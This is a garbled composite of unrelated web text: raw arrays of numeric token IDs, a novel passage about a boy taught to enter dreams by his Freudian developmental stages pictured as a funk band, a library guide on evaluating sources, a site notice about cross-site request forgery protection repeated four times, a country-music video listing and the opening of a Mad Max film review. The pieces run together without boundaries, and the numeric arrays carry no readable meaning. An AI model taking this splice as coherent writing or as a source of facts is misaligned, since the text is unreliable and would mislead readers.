715, 643, 952, 434, 13702, 2464, 31635, 531, 35324, 281, 253, 3644, 13, 6325, 2846, 1475, 441, 15, 686, 1552, 310, 752, 359, 751, 281, 1067, 247, 13702, 11215, 15, 733, 434, 816, 247, 2238, 273, 6325, 5739, 2460, 326, 634, 3998, 7862, 980, 598, 281, 2419, 1841, 15, 7243, 368, 1265, 281, 26526, 253, 7156, 13, 368, 476, 897, 5913, 13702, 11215, 368, 1089, 4834, 275, 281, 2289, 5913, 1375, 273, 2564, 368, 971, 2464, 64, 187, 187, 64, 8, 1276, 670, 253, 21162, 5554, 309, 1642, 15, 686, 2347, 513, 1110, 4944, 275, 5554, 64, 187, 187, 64, 8, 15745, 403, 816, 271, 5673, 13, 14795, 4117, 12576, 2275, 814, 2296, 13, 277, 22590, 387, 617, 5541, 19982, 15, 686, 21956, 11048, 897, 1027, 1841, 27, 24094, 342, 14217, 27251, 715, 731, 13, 1098, 86, 23314, 13, 268, 8817, 15, 733, 434, 247, 2159, 2624, 715, 253, 7156, 10186, 15, 1310, 368, 755, 1175, 2217, 342, 1110, 3965, 21162, 13, 368, 1912, 626, 452, 281, 564, 949, 253, 14462, 273, 1469, 281, 4600, 2464, 64, 187, 187, 64, 8, 1989, 1339, 434, 1265, 3468, 4117, 31635, 531, 2296, 15, 686, 42, 971, 368, 281, 1611, 285, 1818, 436, 13702, 11215, 281, 1633, 2010, 15, 19296, 368, 476, 513, 326, 5554, 64, 187, 187, 64, 42, 1007, 1475, 15, 380, 2846, 310, 1821, 4234, 285, 502, 66, 461, 3838, 12789, 285, 309, 1265, 281, 1928, 253, 1061, 4692, 571, 3192, 689, 15, 686, 17833, 4117, 309, 1333, 8507, 4087, 15, 686, 1552, 1659, 35058, 8791, 2464, 64, 187, 187, 64, 8, 26078, 4117, 31635, 531, 8599, 479, 15, 686, 1898, 1056, 253, 7156, 3794, 281, 634, 588, 2464, 64, 187, 187, 64, 42, 2770, 327, 253, 6406, 13, 253, 9195, 13, 253, 3644, 8467, 15, 309, 1928, 751, 309, 1353, 7808, 1146, 24983, 407, 731, 15, 43328, 13, 2806, 8393, 70, 790, 342, 2502, 2927, 13, 3135, 281, 3176, 13, 892, 33066, 1066, 285, 15165, 327, 253, 9195, 1475, 479, 15, 3010, 12666, 13, 8307, 273, 731, 13, 820, 80, 272, 285, 47348, 342, 616, 10319, 1652, 4669, 15, 831, 310, 417, 1175, 387, 512, 15, 309, 878, 26426, 281, 755, 1977, 432, 436, 1659, 3333, 187, 187, 64, 8, 36342, 4117, 31635, 531, 2296, 13, 2819, 387, 253, 11260, 8507, 4087, 15, 686, 1394, 971, 281, 816, 1339, 634, 2564, 2489, 11874, 15, 9240, 11260, 1912, 626, 320, 8312, 5734, 368, 1056, 731, 8312, 15, 19296, 273, 247, 1175, 3541, 2464, 64, 187, 187, 64, 1147, 434, 417, 4555, 253, 954, 1724, 3987, 2181, 344, 812, 452, 753, 15, 309, 3186, 619, 2564, 323, 1633, 45462, 285, 4352, 271, 2460, 273, 25856, 285, 479, 4882, 3492, 3958, 275, 521, 2316, 15, 10826, 13, 594, 352, 434, 417, 253, 954, 19876, 3541, 13, 533, 352, 434, 45113, 984, 352, 369, 247, 19554, 673, 13, 1078, 309, 3260, 670, 512, 253, 1841, 275, 253, 1533, 326, 971, 281, 5159, 479, 3333, 187, 187, 64, 42, 2770, 594, 1892, 327, 326, 3541, 326, 309, 1158, 619, 1481, 310, 1469, 281, 8085, 1527, 15, 309, 1928, 253, 1533, 5333, 1475, 479, 13, 285, 672, 309, 1527, 619, 2927, 309, 1353, 275, 247, 10864, 22133, 15, 25856, 310, 15150, 247, 440, 41257, 342, 253, 2454, 273, 427, 3592, 466, 23698, 13, 253, 3226, 326, 4962, 273, 12711, 66, 9512, 672, 359, 497, 275, 9646, 767, 15, 754, 434, 12774, 4052, 342, 7075, 347, 247, 637, 10470, 247, 43186, 7367, 779, 281, 5752, 271, 40432, 273, 22680, 3333, 187, 187, 64, 8, 8620, 4117, 31635, 531, 2296, 342, 247, 10048, 8580, 15, 686, 1231, 1472, 275, 25856, 434, 13702, 1024, 2464, 64, 187, 187, 64, 8, 1231, 1472, 275, 25856, 434, 13702, 5554, 309, 1333, 15, 686, 2598, 476, 344, 923, 285, 4089, 479, 5554, 64, 187, 187, 64, 29627, 2275, 814, 44645, 15, 686, 18931, 14, 6968, 15, 733, 434, 1805, 685, 45385, 13, 14795, 2464, 64, 187, 187, 64, 8, 44, 2172, 11388, 309, 11557, 15, 686, 44, 2172, 11388, 64, 187, 187, 64, 44, 2172, 434, 27541, 440, 41257, 9549, 34654, 285, 344, 15323, 281, 253, 3216, 15, 754, 17954, 327, 253, 5254, 17303, 387, 479, 3333, 187, 187, 64, 8, 1147, 434, 46867, 4117, 309, 1333, 3333, 187, 187, 64, 8, 1276, 253, 7085, 310, 1469, 327, 5554, 754, 4453, 1315, 39904, 432, 1930, 281, 1930, 3333, 187, 187, 64, 8, 1394, 1472, 36515, 2464, 64, 187, 187, 64, 8, 2773, 11424, 253, 637, 342 ]

get back to Malpit except for a couple of kids smoking a bong. I sit on my mattress with the two strands of beads in my hands. What the fuck am I supposed to do with a bunch of touristy jewellery? I weave them between my hands like I'm playing that game that girls play when they're kids. Nothing. 'Useless,' I say and put them in a pile next to my bed. I lay my head on the pillow and skydive gratefully into unconsciousness. _I'm in a featureless city, grey, gloomy and massive. The street sign up ahead of me says 'Glowstick', which is suitably obtuse for a dream._ _'Hey,' a voice says. 'Welcome back, daddio.'_ _I turn to see the guy with the massive afro and his group of rhinestone-studded dream weirdos behind me._ _'You again? Jesus, I have the strangest dreams.'_ _'No, man,' he says. 'Not Jesus. Tyrone, your genital phase.'_ _One of his friends, with garish red lips and blonde hair piled high in a beehive, quickly powders her face in an antique hand mirror and strolls over to me. 'Light me up, won't you, honey?' she drawls. She holds out a lighter and places her long cigarette delicately between her lips._ _I sigh and light the cigarette. She scratches me under the chin with a nail. 'Ain't you just the cutest thing?'_ _'Stop seducing the Conscious Self,' Tyrone says._ _'Oh shush.' She flaps a hand at him._ _' OK,' Tyrone says slowly. 'I can tell that you're not really grasping what's going on.' He touches his chest. 'I'm your genital stage.' He points to the woman with the cigarette. 'This is your oral phase.'_ _'Please, honey,' she says. 'Call me Junebug.'_ _'That's your phallic stage,' Tyrone continues, jerking his head to indicate a guy in a baby-blue jumpsuit wearing a giant white Stetson. He has a straw in his mouth and a massive Smith & Wesson revolver holstered at his hip._ _'Hey, motherfucker,' he drawls._ _'Oh shush,' Junebug says again, slapping his shoulder. 'It's his standard Freudian joke. He doesn't mean anything by it. You can call him Richard.'_ _'This over here...' Tyrone nods at a South American-looking guy with a bone through his nose who scratches at his lime-green jumpsuit like it doesn't fit, 'is your anal stage, Cabales.' Cabales raises a hand in greeting. 'And last but not least is your latency stage. Now where the hell did Chester get to?'_ _There's a yapping noise and a little chihuahua with a silver rhinestone-studded bow tie trots out from behind Junebug and starts sniffing my leg._ _'That's great,' I say. 'Lovely to meet you all. But why are you here?'_ _'Well, together we are Psychosexual Development,' Tyrone says. 'The basic phases your libidinal drive goes through on its dance-floor shuffle towards maturity, as proposed by Sigmund Freud. We also moonlight as your psyche's first and only funk band.'_ _I frown at him. 'So what you're saying is that you're all parts of me.'_ _'Yes!' Tyrone says, like I'm finally understanding a particularly complex maths problem. 'Well, except your anal stage. Your natural anal stage didn't develop. Cabales over there is a novice Peruvian shaman who accidentally blundered into your psyche while high on ayahuasca, so we trapped him and made him perform the functions of your anal stage.' He snaps his fingers. 'Improvisation. That's what I like about being part of your psyche.'_ _I hold up my hand. 'So, just so we're clear, you replaced a stage of my internal development with a Peruvian shaman? Of all the things I've heard in my life, that's possibly the most fucking demented.'_ _Cabales gives me a hurt look. 'Hey, you surely remember all the unfortunate toilet-related accidents you had when you were younger?'_ _My face goes red just thinking about it. My mother said it was because I was a very anxious child. 'Yeah,' I mumble._ _'Well, those stopped, didn't they?'_ _'Eventually.'_ _He snaps his fingers. 'Well, that's when we recruited Cabales.'_ _'This is all really fascinating, in an incredibly, ridiculously fucked up sort of way,' I say. 'But why are you here, in my dreams?'_ _'We're here to teach you to Dreamwalk, honey,' Junebug says. 'Some people get totem animals, some get holy guardian angels, some get daemons. You get your libidinal phases as a seventies funk band. Everyone is different, just remember that.'_ _'It's a lot to take in,' Tyrone adds. 'We get that. But we're here to help you.'_ _'Yeah, it's a lot to take in,' I say sarcastically._ _Richard strides across to me, lifts his Stetson and looks me in the eye. 'So how about you quit your bellyaching and we teach you something?' he drawls. Chester the chihuahua yaps his approval._ _' OK, fine,' I say with a sigh. 'What are you going to teach me?'_ _'Let's start with travelling into other people's dreams.' Tyrone gestures to the dark, empty city around us. 'This is what we like to call a dreamsaver. It's just a kind of empty stock image that your brain conjures up to house things. Once you start to manipulate the dream, you can use whatever dreamsaver you find yourself in to access whatever state of mind you want.'_ _'What about the beads?' I ask. 'How do those fit in?'_ _'Those are just an interface, honey,' Junebug says, dabbing at her lipstick. 'Different cultures use different things: sticks with symbols carved into them, statuettes, pendants. It's a short cut into the dreamworld. If you get good enough with those pretty beads, you won't have to go through the motions of going to sleep.'_ _'But let's start slow,' Tyrone says. 'I want you to try and change this dreamsaver to something else. Think you can do that?'_ _I look around. The city is menacing and claustrophobic and I start to feel the paranoia taking over. 'Sure,' I say nervously. 'This place sucks anyway.'_ _'Focus,' Tyrone tells me. 'And make the dream respond to your will.'_ _I focus on the street, the buildings, the dark sky. I feel like I'm slowly being crushed by them. Birds, black pigeons with red eyes, begin to appear, fluttering down and landing on the buildings around me. More arrive, hundreds of them, cooing and scratching with their evil little feet. This is not good at all. I need desperately to get away from this place._ _'Easy,' Tyrone says, looking at the birds nervously. 'You want to just let your mind become calm. Those birds won't be dangerous unless you make them dangerous. Think of a good memory.'_ _It's not exactly the most calming thing he could have said. I search my mind for something reassuring and hit an image of Kyle and me playing video games in his room. OK, so it's not the most epic memory, but it's comforting because it was a simpler time, before I knew about all the things in the world that want to kill me._ _I focus so hard on that memory that I think my head is going to split open. I feel the world shift around me, and when I open my eyes I'm in a giant cage. Kyle is riding a unicorn with the face of Nettie Harrison, the girl that died of leukaemia when we were in grade two. He's squealing with terror as a man smoking a cigar orders him to serve an eternity of detention._ _'Good,' Tyrone says with a satisfied smile. 'We're in Kyle's dreams now.'_ _'We're in Kyle's dreams?' I say. 'So can he see and hear me?'_ _Junebug nods. 'Uh-uh. It's better than Skype, honey.'_ _'Kyle!' I shout. 'Kyle!'_ _Kyle's bizarre unicorn ride disappears and he drops to the ground. He sits on the floor staring at me._ _'It's Baxter,' I say._ _'What the hell is going on?' He looks frantically from side to side._ _'You're dreaming.'_ _'That explains the man with

[ 15, 733, 19584, 690, 7681, 4114, 327, 253, 629, 273, 253, 9414, 15, 187, 187, 510, 2022, 4096, 273, 247, 41023, 6698, 310, 281, 1304, 327, 3236, 2561, 390, 40290, 275, 1340, 281, 1056, 824, 1491, 2130, 281, 253, 1551, 273, 253, 41023, 1533, 15, 187, 187, 10195, 41023, 24331, 13, 2167, 407, 642, 2097, 512, 13, 403, 3863, 407, 247, 2173, 5702, 6003, 15, 187, 187, 1276, 403, 253, 2488, 434, 23820, 283, 249, 15016, 37846, 313, 2811, 344, 390, 703, 2987, 582, 11331, 4114, 13, 2469, 25527, 13, 390, 2793, 32, 1680, 253, 1984, 390, 3929, 3542, 327, 247, 9400, 275, 253, 2488, 434, 2170, 273, 15040, 32, 1422, 476, 2223, 897, 253, 1794, 15553, 1491, 4441, 275, 253, 9311, 3139, 281, 1361, 3653, 253, 2488, 434, 37846, 285, 23820, 15, 187, 187, 15413, 634, 30498, 5393, 436, 2488, 32, 12238, 368, 2326, 253, 2488, 434, 1416, 11106, 275, 643, 4973, 390, 48137, 41400, 32, 2213, 5344, 4477, 403, 11106, 7208, 407, 643, 12981, 15, 1198, 436, 1921, 13, 1900, 3877, 1110, 4454, 326, 3176, 275, 1142, 1027, 4973, 15, 187, 187, 2513, 253, 2488, 2330, 342, 247, 34719, 494, 8848, 390, 6003, 32, 1737, 403, 253, 5044, 2193, 390, 7342, 273, 253, 6003, 390, 8848, 32, 187, 187, 35, 15, 10421, 273, 20702, 187, 187, 3039, 369, 253, 2603, 3863, 32, 831, 3522, 310, 2223, 4441, 327, 253, 2454, 273, 253, 4060, 3239, 2708, 253, 1416, 273, 253, 19600, 15, 1310, 352, 310, 417, 627, 13, 1007, 323, 253, 9451, 3522, 327, 253, 8107, 273, 253, 4060, 3239, 15, 1623, 7066, 7223, 13, 253, 3522, 273, 253, 1390, 18520, 310, 3798, 387, 253, 5004, 273, 253, 1728, 3239, 13, 4536, 1046, 3239, 15, 187, 187, 2513, 253, 2603, 1655, 390, 562, 14, 1171, 14, 2754, 323, 634, 9400, 32, 308, 6361, 3672, 273, 11440, 285, 5233, 2440, 13, 824, 347, 253, 23496, 13, 4831, 625, 1655, 1491, 15, 1623, 253, 643, 1133, 13, 12989, 275, 253, 1966, 1005, 2223, 2430, 2144, 326, 369, 3542, 1142, 1107, 3622, 15, 2058, 253, 643, 9559, 13, 690, 3668, 4973, 327, 253, 7066, 1024, 3877, 253, 4964, 285, 7017, 326, 7774, 403, 9269, 327, 616, 2670, 15, 187, 187, 36, 15, 17897, 390, 3555, 1297, 187, 187, 2513, 436, 247, 806, 11166, 273, 436, 9311, 390, 417, 32, 3840, 34081, 5224, 247, 2603, 556, 644, 17265, 285, 9300, 281, 4887, 2544, 275, 3640, 13, 2486, 49889, 13, 285, 23284, 907, 342, 697, 6034, 9414, 434, 3198, 15, 5220, 13, 1142, 3379, 723, 390, 34081, 778, 5224, 326, 253, 789, 556, 2489, 247, 2629, 2603, 275, 253, 2170, 285, 310, 9630, 15, 1310, 368, 403, 970, 247, 7066, 2603, 13, 513, 253, 7223, 5224, 18520, 12282, 32, 187, 187, 37, 15, 15739, 6850, 187, 187, 8497, 253, 19600, 15, 1310, 253, 2603, 310, 3863, 407, 247, 9835, 2315, 13, 352, 310, 2779, 281, 320, 41023, 15, 4129, 253, 958, 326, 253, 19600, 310, 34719, 494, 1057, 417, 7933, 12215, 3290, 13, 352, 1057, 921, 326, 253, 19600, 778, 452, 1029, 2743, 323, 253, 2603, 1146, 3863, 15, 187, 187, 38, 15, 13927, 273, 9109, 187, 187, 2513, 436, 247, 41023, 390, 247, 4633, 6698, 32, 831, 13812, 310, 1774, 984, 352, 6492, 1027, 2308, 273, 10454, 275, 43049, 5697, 15, 1310, 368, 878, 1361, 275, 32495, 41023, 4632, 15, 1327, 14, 10629, 311, 1285, 2987, 32, 9423, 562, 253, 5135, 22433, 13, 20928, 6340, 634, 34734, 187, 187, 34053, 3489, 329, 21686, 6328, 1830, 187, 187, 18562, 1160, 271, 3302, 41013, 13, 368, 943, 1024, 9186, 253, 2133, 273, 253, 2603, 15, 1310, 352, 310, 247, 1984, 13, 1239, 253, 638, 1664, 281, 3653, 253, 2488, 434, 21546, 323, 253, 789, 15, 44019, 253, 2829, 273, 9410, 285, 253, 3605, 281, 755, 247, 3862, 18389, 273, 253, 2144, 352, 10949, 15, 5838, 1880, 48137, 41400, 403, 2908, 15, 6707, 253, 23168, 326, 5742, 2953, 634, 9400, 15, 21108, 253, 3929, 12002, 285, 13733, 253, 2829, 273, 9410, 273, 247, 6698, 390, 11338, 2523, 310, 671, 4217, 15, 3771, 751, 342, 5098, 13, 253, 3361, 285, 3290, 273, 247, 20314, 20561, 387, 253, 990, 273, 253, 3929, 778, 4887, 253, 1557, 342, 534, 253, 4477, 452, 5480, 616, 789, 15, 187, 187, 34, 15, 4458, 1834, 12469, 1482, 187, 187, 1276, 1511, 273, 8446, 310, 253, 2488, 15974, 32, 1680, 253, 9311, 11205, 387, 247, 18052, 390, 247, 2087, 8446, 32, 1680, 436, 2603, 1512, 18307, 13, 1512, 7681, 13, 1512, 7269, 13, 390, 816, 987, 323, 634, 3198, 32, 187, 187, 35, 15, 47648, 29382, 272, 187, 187, 2513, 253, 1491, 6107, 958, 13, 4743, 13, 390, 23306, 32, 733, 310, 417, 1900, 3477, 281, 4858, 958, 432, 4743, 15, 37351, 476, 3798, 320, 16058, 28, 11626, 13, 2167, 597, 778, 320, 1754, 327, 15010, 1491, 13, 23554, 432, 253, 7914, 273, 5441, 15, 8229, 2591, 11597, 476, 1056, 368, 1158, 616, 27838, 403, 5441, 15, 187, 187, 10795, 253, 1491, 3176, 281, 320, 3588, 285, 973, 14, 43038, 274, 2147, 13, 390, 310, 352, 30455, 285, 36542, 407, 1941, 32, 2903, 360, 6372, 943, 320, 5272, 15, 5838, 6332, 390, 49889, 15, 187, 187, 6723, 253, 5697, 285, 7125, 7269, 625, 390, 1679, 275, 1386, 342, 643, 2987, 368, 452, 1239, 327, 253, 1072, 9400, 32, 380, 625, 39278, 271, 2488, 7907, 84, 432, 253, 6849, 273, 2571, 275, 253, 1072, 1673, 13, 253, 625, 9257, 285, 21038, 368, 943, 43668, 907, 521, 390, 617, 5697, 15, 187, 187, 2513, 253, 2488, 434, 1127, 273, 1859, 8103, 285, 38919, 32, 1680, 253, 3448, 1959, 273, 12904, 14, 274, 19315, 3000, 285, 8492, 32, 187, 187, 36, 15, 20690, 486, 187, 187, 10795, 253, 789, 5731, 643, 4973, 13, 4326, 4513, 643, 4753, 368, 452, 1239, 13, 390, 823, 747, 1491, 32, 9876, 352, 18171, 390, 42876, 3835, 634, 9400, 32, 1422, 943, 8338, 2217, 4973, 281, 4044, 247, 5235, 273, 1859, 10801, 15, 187, 187, 2513, 253, 2144, 3625, 390, 6561, 275, 3753, 32, 20988, 4973, 403, 253, 9305, 2144, 273, 253, 2561, 1232, 15, 29625, 4973, 403, 1754, 327, 3625, 4973, 15, 1198, 1650, 13, 604, 368, 497, 37676, 21928, 4614, 2006, 257, 17146, 434, 2554, 275, 42021, 4255, 6176, 846, 3645, 3660, 3719, 13, 2006, 257, 17146, 434, 1211, 25527, 651, 320, 581, 273, 1142, 3625, 4973, 2130, 327, 436, 9400, 15, 19810, 1537, 2486, 4623, 2208, 7177, 285, 13399, 5685, 11547, 7774, 15, 37047, 897, 436, 3625, 2144, 281, 1361, 6635, 9493, 27838, 283, 66, 6561, 2603, 15, 16103, 13, 546, 34132, 7774, 13, 285, 41023, 6698, 7774, 670, 2006, 257, 17146, 434, 2554, 403, 2783, 6561, 4973, 15, 496, 253, 23496, 13, 6698, 7774, 285, 8059, 10061, 3542, 407, 3368, 398, 9610, 253, 1543, 273, 616, 2561, 403, 3625, 7177, 15, 28890, 1097, 3625, 285, 6561, 4973, 672, 368, 452, 253, 5107, 15, 187, 187, 37, 15, 24207, 27417, 187, 187, 2513, 253, 9311, 10932, 40452, 32, 6272, 253, 2022, 2792, 4518, 3559, 32, 3166, 368, 1089, 253, 2505, 3477, 281, 1239, 13, 390, 310, 352, 331, 2878, 264, 390, 2093, 19500, 32, 1680, 253, 2488, 434, 4154, 29104, 32, 187, 187, 1552, 2670, 9437, 281, 4017, 4212, 1411, 187, 22708, 14, 27327, 19107, 1198, 34527, 8104, 15, 496, 1340, 281, 513, 594, 13, 368, 1364, 452, 16872, 11410, 275, 634, 4384, 9882, 5010, 436, 2670, 588, 1891, 281, 789, 9113, 323, 368, 15, 187, 5035, 4278, 273, 634, 4384, 9882, 323, 849, 281, 8046, 16872, 15, 1552, 2670, 9437, 281, 4017, 4212, 1411, 187, 22708, 14, 27327, 19107, 1198, 34527, 8104, 15, 496, 1340, 281, 513, 594, 13, 368, 1364, 452, 16872, 11410, 275, 634, 4384, 9882, 5010, 436, 2670, 588, 1891, 281, 789, 9113, 323, 368, 15, 187, 5035, 4278, 273, 634, 4384, 9882, 323, 849, 281, 8046, 16872, 15, 1552, 2670, 9437, 281, 4017, 4212, 1411, 187, 22708, 14, 27327, 19107, 1198, 34527, 8104, 15, 496, 1340, 281, 513, 594, 13, 368, 1364, 452, 16872, 11410, 275, 634, 4384, 9882, 5010, 436, 2670, 588, 1891, 281, 789, 9113, 323, 368, 15, 187, 5035, 4278, 273, 634, 4384, 9882, 323, 849, 281, 8046, 16872, 15, 1552, 2670, 9437, 281, 4017, 4212, 1411, 187, 22708, 14, 27327, 19107, 1198, 34527, 8104, 15, 496, 1340, 281, 513, 594, 13, 368, 1364, 452, 16872, 11410, 275, 634, 4384, 9882, 5010, 436, 2670, 588, 1891, 281, 789, 9113, 323, 368, 15, 187, 5035, 4278, 273, 634, 4384, 9882, 323, 849, 281, 8046, 16872, 15, 2290, 1974, 18682, 428, 322, 3292, 12933, 18477, 313, 29569, 33341, 380, 16865, 10, 15021, 26829, 1244, 21508, 9985, 6282, 8452, 5402, 24456, 6272, 5091, 84, 17241, 30683, 16247, 12867, 21937, 327, 253, 16363, 40152, 18682, 16061, 33341, 253, 16865, 27015, 17241, 10615, 12867, 21937, 1623, 380, 16363, 41999, 3189, 247, 26846, 7900, 309, 26713, 1916, 14309, 12318, 22850, 15543, 408, 4380, 285, 7754, 3783, 43083, 2135, 8216, 24707, 11228, 405, 907, 27, 577, 15, 20, 15255, 428, 7467, 27, 16261, 27, 1797, 11778, 368, 2455, 39787, 387, 247, 6440, 32, 3105, 387, 15535, 390, 9326, 13, 533, 387, 4282, 32, 12238, 368, 2455, 37592, 773, 24243, 668, 387, 247, 5389, 5103, 390, 6200, 275, 253, 4766, 273, 253, 18876, 32, 12238, 368, 2455, 644, 9071, 2149, 407, 253, 23658, 10763, 273, 247, 6440, 32, 309, 452, 13, 2067, 2069, 13, 533, 352, 457, 84, 7520, 15, 380, 1390, 3085, 309, 3047, 275, 37807, 326, 309, 2686, 3820, 4360, 39787, 387, 2032, 7001, 1003, 369, 6086, 11418, 457, 84, 45497, 6984, 7903, 401, 1626, 8669, 15, 187, 187, 510, 11417, 11240, 25546, 323, 9567, 16066, 30038, 3527, 7156, 2250, 32792, 12043, 4019, 574, 479, 9071, 2149, 253, 8164, 309, 3047, 253, 806, 19150, 4439, 1309, 253, 4059, 43878, 14, 1773, 15, 1310, 309, 10345, 457, 85, 2168, 247, 7989, 273, 253, 6984, 7903, 2962, 13, 309, 651, 452, 2489, 581, 816, 1754, 327, 253, 15254, 90, 285, 24812, 27471, 275, 326, 806, 19150, 15, 831, 19150, 369, 4451, 1955, 281, 253, 3888, 327, 3148, 15, 1707, 497, 42554, 13, 7863, 1113, 448, 1169, 13, 6627, 9830, 13, 767, 12860, 3471, 777, 375, 6522, 582, 285, 253, 41403, 273, 253, 6984, 7903, 17117, 15, 380, 19150, 716, 833, 253, 5389, 5889, 285, 253, 16383, 2250, 326, 651, 2489, 39882, 342, 436, 3085, 15, 187, 187, 2214, 479, 13, 253, 16383, 6191, 961, 3006, 2250, 369, 689, 20644, 264, 407, 253, 36930, 1533, 14, 22157, 326, 6086, 11418, 2684, 275, 253, 3085, 15, 6279, 309, 7636, 253, 2250, 285, 253, 5810, 313, 42, 452, 15278, 19389, 619, 43551, 35992, 3783, 66, 582, 533, 253, 28145, 387, 253, 1533, 1669, 3212, 285, 1110, 3663, 390, 14454, 497, 16088, 994, 11733, 285, 15585, 15, 309, 3078, 281, 3037, 625, 670, 436, 11069, 1533, 285, 697, 21251, 15, 2596, 824, 1387, 273, 952, 403, 253, 22211, 401, 17988, 13, 253, 331, 2878, 14, 13678, 272, 23406, 6840, 14429, 7808, 32183, 272, 949, 253, 30743, 15, 187, 187, 3039, 253, 3085, 2624, 281, 253, 5103, 2326, 275, 253, 1335, 1840, 13, 309, 806, 1869, 326, 841, 1364, 320, 253, 760, 38948, 273, 7139, 275, 436, 1533, 15, 2635, 253, 1841, 309, 806, 12814, 347, 7139, 3407, 281, 2118, 13, 3407, 281, 42309, 253, 30743, 13, 3407, 281, 1007, 387, 776, 22271, 6276, 275, 253, 4114, 15, 773, 41995, 6598, 2064, 457, 84, 512, 309, 753, 15, 2752, 6208, 5485, 598, 13, 253, 3159, 18993, 13, 285, 309, 11373, 285, 2761, 12918, 387, 4266, 15, 1198, 3780, 665, 6057, 479, 11697, 13, 309, 717, 5431, 1077, 7107, 347, 309, 3698, 6590, 13, 309, 11766, 2312, 285, 309, 1089, 352, 1077, 24659, 672, 2571, 2312, 689, 247, 3085, 390, 247, 7315, 921, 15, 1292, 1309, 436, 3158, 5103, 13, 309, 574, 281, 385, 7041, 619, 34369, 15, 773, 41995, 7521, 752, 247, 5103, 15, 187, 187, 1552, 5103, 310, 3158, 285, 689, 275, 271, 8164, 15, 1707, 403, 642, 643, 10414, 281, 841, 19796, 952, 15, 309, 760, 6311, 326, 597, 403, 1925, 773, 36, 736, 401, 17988, 668, 6701, 281, 253, 37059, 15, 1292, 347, 309, 21153, 616, 4864, 43031, 37883, 7286, 13, 309, 574, 281, 871, 665, 597, 497, 285, 752, 597, 497, 2509, 15, 2726, 326, 581, 5103, 13, 309, 22245, 326, 841, 952, 574, 281, 897, 34099, 285 ]

. It assumes some technical background on the part of the reader. The main purpose of a scholarly journal is to report on original research or experimentation in order to make such information available to the rest of the scholarly world. Many scholarly journals, though by no means all, are published by a specific professional organization. What are the author's credentials--institutional affiliation (where he or she works), educational background, past writings, or experience? Is the book or article written on a topic in the author's area of expertise? You can often use the biographical information located in the publication itself to help determine the author's affiliation and credentials. Has your instructor mentioned this author? Have you seen the author's name cited in other sources or bibliographies? Respected authors are cited frequently by other scholars. For this reason, always note those names that appear in many different sources. Is the author associated with a reputable institution or organization? What are the basic values or goals of the organization or institution? B. Date of Publication When was the source published? This date is often located on the face of the title page below the name of the publisher. If it is not there, look for the copyright date on the reverse of the title page. On Web pages, the date of the last revision is usually at the bottom of the home page, sometimes every page. Is the source current or out-of-date for your topic? Topic areas of continuing and rapid development, such as the sciences, demand more current information. On the other hand, topics in the humanities often require material that was written many years ago. At the other extreme, some news sources on the Web now note the hour and minute that articles are posted on their site. C. Edition or Revision Is this a first edition of this publication or not? Further editions indicate a source has been revised and updated to reflect changes in knowledge, include omissions, and harmonize with its intended reader's needs. Also, many printings or editions may indicate that the work has become a standard source in the area and is reliable. If you are using a Web source, do the pages indicate revision dates? D. Publisher Note the publisher. If the source is published by a university press, it is likely to be scholarly. Although the fact that the publisher is reputable does not necessarily guarantee quality, it does show that the publisher may have high regard for the source being published. E. Title of Journal Is this a scholarly or a popular journal? This distinction is important because it indicates different levels of complexity in conveying ideas. If you need help in distinguishing scholarly vs. non-scholarly works? Check out the libguide, Evaluate your Sources CONTENT ANALYSIS Having made an initial appraisal, you should now examine the body of the source. If it is a book, read the preface to determine the author's intentions for the work. Scan the table of contents and the index to get a broad overview of the material it covers. Note whether bibliographies are included. Read the chapters that specifically address your topic. Reading the article abstract and scanning the table of contents of a journal or magazine issue is also useful. Just like with books, the presence and quality of a bibliography at the end of the article may reflect the care with which the authors have prepared their work. A. Intended Audience What type of audience is the author addressing? Is the publication aimed at a specialized or a general audience? Is this source too elementary, too technical, too advanced, or just right for your needs? B. Objective Reasoning Is the information covered fact, opinion, or propaganda? It is not always easy to separate fact from opinion. Facts can usually be verified; opinions, though they may be based on factual information, evolve from the interpretation of facts. Skilled writers can make you think their interpretations are facts. Does the information appear to be valid and well-researched, or is it questionable and unsupported by evidence? Assumptions should be reasonable. Note errors or omissions. Are the ideas and arguments advanced more or less in line with other works you have read on the same topic? The more radically an author departs from the views of others in the same field, the more carefully and critically you should scrutinize his or her ideas. Is the author's point of view objective and impartial? Is the language free of emotion-arousing words and bias? C. Coverage Does the work update other sources, substantiate other materials you have read, or add new information? Does it extensively or marginally cover your topic? You should explore enough sources to obtain a variety of viewpoints. Is the material primary or secondary in nature? Primary sources are the raw material of the research process. Secondary sources are based on primary sources. For example, if you were researching Konrad Adenauer's role in rebuilding West Germany after World War II, Adenauer's own writings would be one of many primary sources available on this topic. Others might include relevant government documents and contemporary German newspaper articles. Scholars use this primary material to help generate historical interpretations--a secondary source. Books, encyclopedia articles, and scholarly journal articles about Adenauer's role are considered secondary sources. In the sciences, journal articles and conference proceedings written by experimenters reporting the results of their research are primary documents. Choose both primary and secondary sources when you have the opportunity. D. Writing Style Is the publication organized logically? Are the main points clearly presented? Do you find the text easy to read, or is it stilted or choppy? Is the author's argument repetitive? This site attempts to protect users against Cross-Site Request Forgeries attacks. In order to do so, you must have JavaScript enabled in your web browser otherwise this site will fail to work correctly for you. See details of your web browser for how to enable JavaScript.This site attempts to protect users against Cross-Site Request Forgeries attacks. In order to do so, you must have JavaScript enabled in your web browser otherwise this site will fail to work correctly for you. See details of your web browser for how to enable JavaScript.This site attempts to protect users against Cross-Site Request Forgeries attacks. In order to do so, you must have JavaScript enabled in your web browser otherwise this site will fail to work correctly for you. See details of your web browser for how to enable JavaScript.This site attempts to protect users against Cross-Site Request Forgeries attacks. In order to do so, you must have JavaScript enabled in your web browser otherwise this site will fail to work correctly for you. See details of your web browser for how to enable JavaScript.Tracy Lawrence - Saving Savannah (Story Behind The Song)Stop Drop And Roll Find Out Who Your Friends Are 90s Country Butterfly Footprints on the Moon Tracy Lawrence Story Behind the Song Classic Country Lie Footprints On The Moon Paint Me a Birmingham Where I Used To Live Headlights Taillights and Radios Throwback Thursday Bobby Bonessize: 4.3 MB - duration: 02:21Have you ever gasped at a movie? Not at horror or surprise, but at wonder? Have you ever proclaimed “Wow” at a beautiful shot or scene in the middle of the theater? Have you ever been floored by the sheer beauty of a movie? I have, several times, but it’s rare. The last film I saw in theaters that I actually audibly gasped at true amazement was George Miller’s masterpiece Mad Max Fury Road. The Academy Award nominated for Best Motion Picture acid dream action extravaganza had me floored the instant I saw the first trailer released during the 2014 Comic-Con. If I weren’t already a fan of the Mad Max series, I would have become one just based on the ballsy and insane imagery in that first trailer. This trailer was unique due to the images on display. There were explosions, massive car chases, bright colors, two headed geckos (!), and the insanity of the Mad Max franchise. The trailer teased the beautiful composition and the outstanding action that would become synonymous with this 